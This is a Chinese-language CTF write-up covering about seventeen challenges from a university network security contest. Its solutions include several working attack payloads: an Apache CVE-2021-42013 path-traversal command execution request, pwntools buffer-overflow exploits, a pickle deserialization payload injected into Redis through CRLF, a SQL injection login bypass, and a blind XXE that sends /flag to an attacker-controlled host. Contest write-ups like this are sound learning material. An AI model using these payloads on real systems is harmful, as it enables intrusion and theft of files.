高校网络安全管理运维赛WP

获奖情况

图片

解题过程

一、签到

查看每一帧,拼接后解rot13即可。

图片

二、钓鱼邮件识别

0. flag1

对发件人进行BASE64解码,

flag{wElcOMetO}

图片

1. flag2

对邮件内容BASE64解码,

flag{pHishHuntiNG}

图片

2. flag3

SPF DKIM DMARC记录解析,反垃圾邮件的,使用对应的命令解析即可找到三块flag

  • part1


nslookup -q=txt spf.foobar-edu-cn.com                      
spf.foobar-edu-cn.com        text = "v=spf1 ip4:192.0.2.0/24 ip4:198.51.100.123 -all flag_part1={N0wY0u"

  • part2

v=DKIM1; k=rsa; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC8GgKsT+XBbAEBi0DlAX2ddQz5YOeiftZt5IvksHPnJqzv/Ckp5Iu8fWnPFXOGN7nPJtIvFDsWzW65FXXUVRjMntfcBNt97legXk/95dXAUMzG2i3 flag_part2=_Kn0wH0wt0_ qMcXGK+?+OwIDAQAB

  • part3

v=DMARC1; p=quarantine; rua=mailto:dmarc_agg@foobar-edu-cn.com; ruf=mailto:dmarc_frf@flag_part3=ANAlys1sDNS}
flag{N0wY0u_Kn0wH0wt0_ANAlys1sDNS}

三、Apache

下载文件知版本

图片

随后查询得到漏洞,Apache HTTPd 2.4.49/2.4.50路径穿越与命令执行漏洞(CVE-2021-42013),访问网页知道

图片

  • 它从POST请求的表单数据中读取目的地端口(dstport)和要发送的数据(data)。

  • 创建一个TCP套接字,并连接到指定端口的 127.0.0.1

  • 然后将提供的数据发送过套接字。

  • 服务器尝试从套接字读回响应数据,直到没有更多数据接收,然后将其返回给客户端。

构造payload如下:


port=80&data=GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: 192.168.241.142:85
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Connection: close
Content-Length: 14
echo;cat /flag

图片

四、easyshell

冰蝎默认AES加密方式,默认KEYrebeyond,解密所有流量,发现读取了temp.zipsecret2.txt两个文件,在temp.zip文件中发现有两个文件secret1.txtsecret2.txt,不难想到打明文攻击,secret2.txt内容如下。

图片

# 重置密码为123./bkcrack -C secret.zip -c secret2.txt -p secret2.txt -U flag1.zip "123"

图片

打开压缩包后在secret1.txt中获取到flag

图片

五、easyre

经典BASE64换表题目,表为

ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/

图片

图片

六、babypwn

给了后门函数,直接打ret2backdoor即可。

图片

from pwn import *

context.log_level='debug'
context.terminal=['tmux','splitw','-h']
context.arch='amd64'

p = remote('prob07.contest.pku.edu.cn', 10007)
libc = ELF('./libc.so.6')

p.recvuntil(b'Please input your token:')
p.sendline(b'420:MEUCIHCbzV_gK-KSymcxQOqGPIQvYLToCjs5aS9A7YQE7z5vAiEAkv_8k96VcVhW7sctKOG28dQmz_bdYs1Ini7Fxi4jIPU=')

p.recvuntil(b'Enter your username:')
p.send(b'root')
p.recvuntil(b'Enter the password:')
p.send(b'!@#$%^&*()_+' +  b'\x00' * (0x38 - len('!@#$%^&*()_+')) + p64(0x401177))

p.interactive()

图片

七、pyssrf

通过源码,知道突破口在于pickle反序列化的命令执行,题目不出网,只能通过Redis内写序列化后的数据。

题名ssrf,而源码显示只有urlopen,考虑寻找漏洞导致redis的命令执行。

考虑到3.7.1的版本,找到:CVE-2019-9947,可以实现写入redis,利用CRLF的修改:

import os
import pickle
import base64

serialized_obj = b'''(S'echo -n "$(cat /flag)" | python3 -c "import sys, pickle, base64; from redis import Redis; redis = Redis(host=\\'127.0.0.1\\', port=6379); redis.set(\\'188f3426b78acac9087ab73733637eb2\\', base64.b64encode(pickle.dumps(sys.stdin.read().encode(\\'utf-8\\'))), ex=300);"'

ios

system

.)'''

encoded_data = base64.b64encode(serialized_obj).decode('utf-8')

import hashlib

key=hashlib.md5("http://123123".encode()).hexdigest()

value=encoded_data

print('set',key,value)

脚本如上,输出

set 188f3426b78acac9087ab73733637eb2 KFMnZWNobyAtbiAiJChjYXQgL2ZsYWcpIiB8IHB5dGhvbjMgLWMgImltcG9ydCBzeXMsIHBpY2tsZSwgYmFzZTY0OyBmcm9tIHJlZGlzIGltcG9ydCBSZWRpczsgcmVkaXMgPSBSZWRpcyhob3N0PVwnMTI3LjAuMC4xXCcsIHBvcnQ9NjM3OSk7IHJlZGlzLnNldChcJzE4OGYzNDI2Yjc4YWNhYzkwODdhYjczNzMzNjM3ZWIyXCcsIGJhc2U2NC5iNjRlbmNvZGUocGlja2xlLmR1bXBzKHN5cy5zdGRpbi5yZWFkKCkuZW5jb2RlKFwndXRmLThcJykpKSwgZXg9MzAwKTsiJwppb3MKc3lzdGVtCi4p

代码将利用opcodehttp://123123的键值对修改为flag,将输出结果进行处理:

图片

url编码后放在url后面:

图片

访问后,http://123123此时对应着反序列化的键值对,一次访问后flag写入http://123123键值对,第二次访问得到flag

图片

八、zip

感觉打的是非预期,最开始搜索相关内容都是7z的两个密码对应同一个加密ZIP包问题,https://blog.nsfocus.net/zip/。但是仔细观察题目给的代码其实是一个伪终端,因此可以利用删除字符来删掉前面的输入。

from pwn import *

context.log_level='debug'
context.terminal=['tmux','splitw','-h']
context.arch='amd64'

p = remote('prob03.contest.pku.edu.cn', 10003)

token = '420:MEUCIHCbzV_gK-KSymcxQOqGPIQvYLToCjs5aS9A7YQE7z5vAiEAkv_8k96VcVhW7sctKOG28dQmz_bdYs1Ini7Fxi4jIPU='

p.recvuntil(b'Please input your token:')
p.sendline(b'420:MEUCIHCbzV_gK-KSymcxQOqGPIQvYLToCjs5aS9A7YQE7z5vAiEAkv_8k96VcVhW7sctKOG28dQmz_bdYs1Ini7Fxi4jIPU=')

p.recvuntil(b'your token:\n')
p.sendline(b'420:MEUCIHCbzV_gK-KSymcxQOqGPIQvYLToCjs5aS9A7YQE7z5vAiEAkv_8k96V' + b'\x7f' * 64 + b'flag{')
p.recvuntil(b'your flag:\n')
p.sendline(b'flag{')

p.interactive()

​​​​​​​

图片

九、Gateway

图片

网上找到烽火解密脚本,输入即可


code='106&112&101&107&127&101&104&49&57&56&53&56&54&56&49&51&51&105&56&103&106&49&56&50&56&103&102&56&52&101&104&102&105&53&101&53&102&129&'[:-1]    # "baseinfoSet_TELECOMPASSWORD":"114&73&55&110&69&37&53&113&"
list=map(int,code.split('&'))
result=[]
for i in list:
    if i > 57:
        i-=4
    result.append(chr(i))
print (''.join(result))
#flag{ad1985868133e8cf1828cb84adbe5a5b}

十、f or r

参考题目链接

https://qanux.github.io/2024/04/22/geek2024/index.html,照着里面的打就行。

图片

十一、fileit

盲打XXE,参考文章

https://hextuff.dev/2022/06/26/ctfshow-web-getting-started-xxe/


POST / HTTP/2
Host: prob12-ns8rm5me.contest.pku.edu.cn
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Content-Type: application/xml
Content-Length: 120

<?xml version="1.1"?>
<!DOCTYPE ANY [
<!ENTITY % remote SYSTEM "http://***.***.***.***:****/xxe.dtd">
%remote;
]>
# xxe.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % double "<!ENTITY &#x25; xxe SYSTEM 'http://***.***.***.***:****/put.php?result=%file;'>">
%double;
%xxe;

// put.php
<?php
$a = @$_GET['result'];
if ($a) {
    file_put_contents('result.txt', $a);
}

图片

十二、Secretbit

图片

import ast
from random import randrange, shuffle
f=open('./data.txt','r')
s=ast.literal_eval(f.readline())
flag=''
def instance(m, n):
    start = list(range(m))
    shuffle(start)
    vis=[0 for i in range(len(start))]
    for i in range(m):
        if vis[i]==1:
            continue
        now = start[i]
        vis[now]=1
        this_turn = False
        for j in range(n-1):
            if now == i:
                this_turn = True
                break
            now = start[now]
            vis[now] = 1
        if not this_turn:
            return 0
    return 1

def leak(m, n, times=2000):
    message = [instance(m, n) for _ in range(times)]
    cou=0
    for x in message:
        cou+=x
    return cou
cnt=0;
for x in s:
    cnt+=1
    print(cnt)
    a,b,c=x
    cou=0
    for z in c:
        cou+=z
    m1=leak(a[0],a[1])
    m2=leak(b[0],b[1])
    if abs(m1-cou)<abs(m2-cou):
        flag+='0'
    else:
        flag+='1'

from Crypto.Util.number import *
print(flag)
cs='110011000101100011000010110011101111011011101000110100001101001011100110101111100111001011100110101111111010100011010010110010101011111011100110100010001100011011100100110010101110100010111110110011000110001011000010110001101101101'
flag=int(flag,2)
print(flag)
fl=long_to_bytes(flag)
print(long_to_bytes(flag))
#flag{this_1s_the_sEcret_f1ag}

​​​​​​​优化了instance实现方法,使它从O(m*n)的时间复杂度降到了O(m)的时间复杂度,使程序跑的快。同时instance是随机打乱1~m的数组后判断有无长度小于n的循环节。由于进行2000instance,可以视为是求随机打乱1~m的数组后有长度小于n的循环节的一个期望。求这个期望就是在跑一遍2000instance,统计instance1的次数,比较一下哪对(m,n)跑出来的统计instance1的次数和data中统计instance1的次数更接近。

十三、Login

登录时使用长字符串能够爆出登录密码:

图片

尝试用户名和密码,用admin/1q2w3e4r成功登录,将程序dump下来。

from pwn import *

context.log_level='debug'
context.terminal=['tmux','splitw','-h']
context.arch='amd64'

p = remote('prob04.contest.pku.edu.cn', 10004)

p.recvuntil(b'Please input your token:')
p.sendline(b'420:MEUCIHCbzV_gK-KSymcxQOqGPIQvYLToCjs5aS9A7YQE7z5vAiEAkv_8k96VcVhW7sctKOG28dQmz_bdYs1Ini7Fxi4jIPU=')

# dump file
p.recvuntil(b'Username:')
p.sendline(b'admin')
p.recvuntil(b'Password')
p.sendline(b'1q2w3e4r')

p.recvuntil(b'Core dumped\n')
with open('./Login','+ab') as fd:
    file = p.recvall()
    fd.write(file)

存在后门函数,直接ret2backdoor即可。


from pwn import *

context.log_level='debug'
context.terminal=['tmux','splitw','-h']
context.arch='amd64'

p = remote('prob04.contest.pku.edu.cn', 10004)

p.recvuntil(b'Please input your token:')
p.sendline(b'420:MEUCIHCbzV_gK-KSymcxQOqGPIQvYLToCjs5aS9A7YQE7z5vAiEAkv_8k96VcVhW7sctKOG28dQmz_bdYs1Ini7Fxi4jIPU=')

# dump file
# p.recvuntil(b'Username:')
# p.sendline(b'admin')
# p.recvuntil(b'Password')
# p.sendline(b'1q2w3e4r')

# p.recvuntil(b'Core dumped\n')
# with open('./Login','+ab') as fd:
#     file = p.recvall()
#     fd.write(file)

ret_addr = 0x4014BF
backdoor_addr = 0x401276

p.recvuntil(b'Username:')
p.sendline(b'admin')
p.recvuntil(b'Password')
p.sendline(b'\x00' * (0x90 + 0x8) + p64(ret_addr) + p64(backdoor_addr))

p.interactive()

图片

图片

十四、Messy Mongo

  1. DockerFile找到默认用户名密码登录:

图片

  1. 观察代码发现有PATCH方法,可以直接更新用户名,同时严格检测输入的用户名:

图片

  1. 首先原始账户得到JWT

  1. 利用这个接口修改用户名:

图片

         a. 接着开始改用户,利用PATCH方法:

        i. 首先改为大写的'ADMIN'绕过assert:

        ii. 再次利用schema不限制string,进行tolower

图片

  1. 获取token:

  1. 重新获取token之后GETtodo

图片

         b. 直接GETflag

图片

十五、SecretDB

查看十六进制发现有类似flag{uuid}字样被干碎了的字符串。

图片

尝试用美亚的恢复大师恢复一下,可以得到如下结果,猜测可能是sort字段排序为flag,但是恢复不全,利用010Editor手推。

图片

这里采取的思路是每个十六进制数字的前一位和flag{}字符的前一位作为index索引位,可以得到如下对应关系,这里第15位重复了三次,正好前两位缺失,且多出来的正好有fl字符,因此可以得到flag{f6291bf0-923c-4ba6-_2d7-ffabba4e8f0b}字符串,缺少第25位,爆破提交,好像是为8时对了。

02 -> a
03 -> g
04 -> {
05 -> f
06 -> 6
07 -> 2
08 -> 9
09 -> 1
10 -> b
11 -> f
12 -> 0
13 -> -
14 -> 9
15 -> f,2,l
16 -> 3
17 -> c
18 -> -
19 -> 4
20 -> b
22 -> 6
21 -> a
23 -> -
25 -> 2
26 -> d
27 -> 7
28 -> -
29 -> f
30 -> f
31 -> a
32 -> b
33 -> b
34 -> a
35 -> 4
36 -> e
37 -> 8
38 -> f
39 -> 0
40 -> b
41 -> }

# flag{f6291bf0-923c-4ba6-82d7-ffabba4e8f0b}

十六、phpsql

万能密码

账号 admin

密码 ""="b'='b

图片

得到flagflag{KtfoYJlPMrQdW6fBGWgG}

十七、Babyre

图片

upx脱壳,可以使用z3求解v5v6v7v8

图片

图片


from z3 import *

v5 = BitVec('v5',32)
v6 = BitVec('v6',32)
v7 = BitVec('v7',32)
v8 = BitVec('v8',32)


s = Solver()

s.add(v5 - 2914111512 == 907301700)
s.add((v6 | 2382610115) - 3 * (v6 & 1912357180) + v6 == 2418835448)
s.add(4 * ((~v7 & 0xA8453437) + 2 * ~(~v7 | 0xA8453437))+ -3 * (~v7 | 0xA8453437)+ 3 * ~(v7 | 0xA8453437)- (-10 * (v7 & 0xA8453437)+ (v7 ^ 0xA8453437)) == 551387557)
s.add(11 * ~(v8 ^ 0xE33B67BD)+ 4 * ~(~v8 | 0xE33B67BD)- (6 * (v8 & 0xE33B67BD)+ 12 * ~(v8 | 0xE33B67BD))+ 3 * (v8 & 0xD2C7FC0C)+ -5 * v8- 2 * ~(v8 | 0xD2C7FC0C)+ ~(v8 | 0x2D3803F3)+ 4 * (v8 & 0x2D3803F3)- -2 * (v8 | 0x2D3803F3) == -837785892)



print(s.check())
print(s.model())

但是通过动调发现v7v8不对,应该为多解

我们再次利用约束,设置100循环,求出每一个解后然后增加限制条件来求出多解的情况最后用每一个解来check得到正确的flag


from z3 import *

v5 = BitVec('v5',32)
v6 = BitVec('v6',32)
v7 = BitVec('v7',32)
v8 = BitVec('v8',32)


s = Solver()

s.add(v5 - 2914111512 == 907301700)
s.add((v6 | 2382610115) - 3 * (v6 & 1912357180) + v6 == 2418835448)
s.add(4 * ((~v7 & 0xA8453437) + 2 * ~(~v7 | 0xA8453437))+ -3 * (~v7 | 0xA8453437)+ 3 * ~(v7 | 0xA8453437)- (-10 * (v7 & 0xA8453437)+ (v7 ^ 0xA8453437)) == 551387557)
s.add(11 * ~(v8 ^ 0xE33B67BD)+ 4 * ~(~v8 | 0xE33B67BD)- (6 * (v8 & 0xE33B67BD)+ 12 * ~(v8 | 0xE33B67BD))+ 3 * (v8 & 0xD2C7FC0C)+ -5 * v8- 2 * ~(v8 | 0xD2C7FC0C)+ ~(v8 | 0x2D3803F3)+ 4 * (v8 & 0x2D3803F3)- -2 * (v8 | 0x2D3803F3) == -837785892)
s.add(v7 < 0x10000000)
s.add(v8 < 0x10000000)

for i in range(100):
    if s.check() == sat:
        m = s.model()
        print(m)
        s.add(Or(v8 != m[v8]))
    else:
        break



 

  • 28
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

技术造

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值